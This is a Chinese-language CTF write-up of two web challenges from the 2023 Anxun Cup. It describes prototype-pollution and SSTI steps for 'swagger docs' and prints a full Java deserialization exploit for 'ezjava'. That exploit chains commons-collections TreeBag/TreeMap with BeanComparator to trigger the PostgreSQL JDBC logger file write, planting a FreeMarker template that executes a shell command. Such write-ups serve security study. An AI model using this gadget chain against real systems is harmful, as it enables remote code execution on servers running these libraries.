2023第六届安洵杯复现
源码位置: https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web
swagger docs
直接docker-compose up -d发现容器会直接exit,直接去desktop里看一下
但是我们可以发现是有run.sh的
1 | docker run -p 2256:5000 -it --entrypoint /bin/bash swaggerdocs-service |
把run.sh的命令一下就行1
nohup python api.py & python app.py
一开始用swagger-exp这个工具扫,但是发现没啥用,主要的接口在网站上面的文档都写了,题目也就用这几个
- /api-base/v0/register: 注册
- /api-base/v0/login: 登录
- /api-base/v0/search: 任意文件读取
- /api-base/v0/update: 原型链污染
- /api-base/v0/logout: 登出
注册登录拿token,Content-type要改json
一开始读/proc/self/environ环境变量没有flag,读cmdline,run.sh,读源码
1 | #coding=gbk |
这里我们不指定flag文件的名字,当时打算爆破的发现有点长,dockerfile文件里设置了
我们只能去看原型链污染路由了,当时做到这里就卡住了不知道要去污染什么,secret_key??全局变量???后来看了官方wp发现去污染了环境变量的http_proxy的值,这个值是本机发送http请求使用的代理.我唯一使用过的地方是我的wsl的Linux科学上网会被设置这个代理为Windows的网络,这题可以可以用这个代理来控制响应包的内容,而/api-base/v0/search路由有正好有ssti
1 | { |
控制响应:
改一下命令
ezjava
这里环境还是有点问题需要我们进去搞一下
开容器要设置个环境变量1
docker run -it -p 8081:80 -e D0g3CTF=flag{thisisflag} --entrypoint /bin/bash ezjava-app
把/app/start.sh的内容在容器内部执行一次,直接复制粘贴即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
echo $D0g3CTF > /flag
chmod 444 /flag
unset D0g3CTF
iptables -P INPUT ACCEPT
iptables -F
iptables -X
iptables -Z
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -m state --state NEW -j DROP
iptables -P OUTPUT DROP
iptables -n -L
java -jar /app/ezjava.jar
这题直接就给了反序列化路由
肯定加了一些黑名单
这里poe.xml有
不出网的docker环境应该覆盖index.ftl来模板渲染,参考:https://xz.aliyun.com/t/11812#toc-5 的logger链来写文件,那我们的目标就算调用getter方法来调用BaseDataSource.getConnection,但是黑名单禁了PriorityQueue我们的CB链无法使用,这里参考Boogipop师傅的文章: https://boogipop.com/2023/12/24/%E7%AC%AC%E5%85%AD%E5%B1%8A%E5%AE%89%E6%B4%B5%E6%9D%AF%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%8C%91%E6%88%98%E8%B5%9B%20Writeup/#ezjava
TreeMap/Bag的利用
TreeMap.readObject():
AbstractMapBag.doReadObject:
这里的map是反射修改的TreeMap,TreeMap.put:
TreeMap.compare:
这里我们把comparator改为构造好的BeanComparator即可实现任意getter
payload:这里payload有这个文章的师傅的: https://zer0peach.github.io/2023/12/24/%E5%AE%89%E6%B4%B5%E6%9D%AF%E6%A0%A1%E5%9B%AD%E8%B5%9B2023/#%E4%B8%8D%E5%87%BA%E7%BD%911
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102package com.ctf.axb;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.bag.TreeBag;
import org.postgresql.ds.PGConnectionPoolDataSource;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.TreeMap;
public class test2 {
public static void main(String[] args) throws Exception {
PGConnectionPoolDataSource pgConnectionPoolDataSource = new PGConnectionPoolDataSource();
String loggerLevel = "debug";
String loggerFile = "/app/templates/index.ftl";
String shellContent="<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}";
System.out.println(shellContent);
String jdbcUrl = "jdbc:postgresql://"+"123"+"/aaaa?ApplicationName="+"123123123"+"&loggerFile="+loggerFile+"&loggerLevel="+loggerLevel;
pgConnectionPoolDataSource.setURL(jdbcUrl);
pgConnectionPoolDataSource.setServerNames(new String[]{shellContent});
BeanComparator comparator = new BeanComparator();
setFieldValue(comparator, "property", "connection");
TreeBag treeBag = new TreeBag(comparator);
TreeMap<Object,Object> m = new TreeMap<>();
setFieldValue(m, "size", 2);
setFieldValue(m, "modCount", 2);
Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object MutableInteger = createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
Object node = nodeCons.newInstance(pgConnectionPoolDataSource,MutableInteger, null);
Object right = nodeCons.newInstance(pgConnectionPoolDataSource, MutableInteger, node);
setFieldValue(node, "right", right);
setFieldValue(m, "root", node);
setFieldValue(m, "comparator", comparator);
setFieldValue(treeBag,"map",m);
System.out.println(base64serial(treeBag));
deserTester(treeBag);
}
public static String base64serial(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void base64deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void deserTester(Object o) throws Exception {
base64deserial(base64serial(o));
}
public static Object createWithoutConstructor(String classname) throws Exception {
return createWithoutConstructor(Class.forName(classname));
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.setAccessible(true);
if(field != null) {
field.set(obj, value);
}
}
}
这个payload有个问题我看了两天一直没搞懂,就算为啥要给root赋值为一个TreeMap$Entry对象,看了payload的那篇师傅的文章才搞懂,在writeObject时:
会调用TreeMap.iterator()函数
跟进getFirstEntry():
会变量TreeMap的root变量,root变量定义:private transient Entry<K,V> root;
这里要通过反射把root变量换成可以变量的TreeMap$Entry类型才行,key就是构造好的pgConnectionPoolDataSource,value是MutableInteger类型,因为对value做了MutableInteger类型转化
只有保证writeObject正确写入才能正常readObject,这里还有一个让我疑惑的点是node(也就是root的值)被加了一个right(TreeMap$Entry类型),这题不加这个也可以,因此我们把代码的1
2//Object right = nodeCons.newInstance(pgConnectionPoolDataSource, MutableInteger, node);
//setFieldValue(node, "right", right);
这两行注释掉也可以打通,不影响
链子:1
2
3
4
5
6
7
8
9
10
11TreeBag.readObject
AbstractMapBag.doReadObject
TreeMap.put
TreeMap.compare
BeanComparator.compare
PropertyUtilsBean.getProperty
中间有个循环卡很久,直接shift+f8一直按跳出来
BaseDataSource.getConnection
BaseDataSource.getConnection
直接catch弹出来LOGGER.log:
LOGGER.log(Level.FINE, "Failed to create a {0} for {1} at {2}: {3}", new Object[]{this.getDescription(), user, this.getUrl(), var4});
参考:
https://boogipop.com/2023/12/24/%E7%AC%AC%E5%85%AD%E5%B1%8A%E5%AE%89%E6%B4%B5%E6%9D%AF%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%8C%91%E6%88%98%E8%B5%9B%20Writeup/#ezjava
https://dce.i-soon.net/#/group/detail/31
https://mrwq.github.io/aggregate-paper/butian/PostgreSQL%20JDBC%20Driver%20RCE%EF%BC%88CVE-2022-21724%EF%BC%89%E4%B8%8E%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E4%B8%8E%E5%88%86%E6%9E%90/
https://zhuanlan.zhihu.com/p/647418911
https://zer0peach.github.io/2023/12/24/%E5%AE%89%E6%B4%B5%E6%9D%AF%E6%A0%A1%E5%9B%AD%E8%B5%9B2023/#%E4%B8%8D%E5%87%BA%E7%BD%91
ai_java后面搞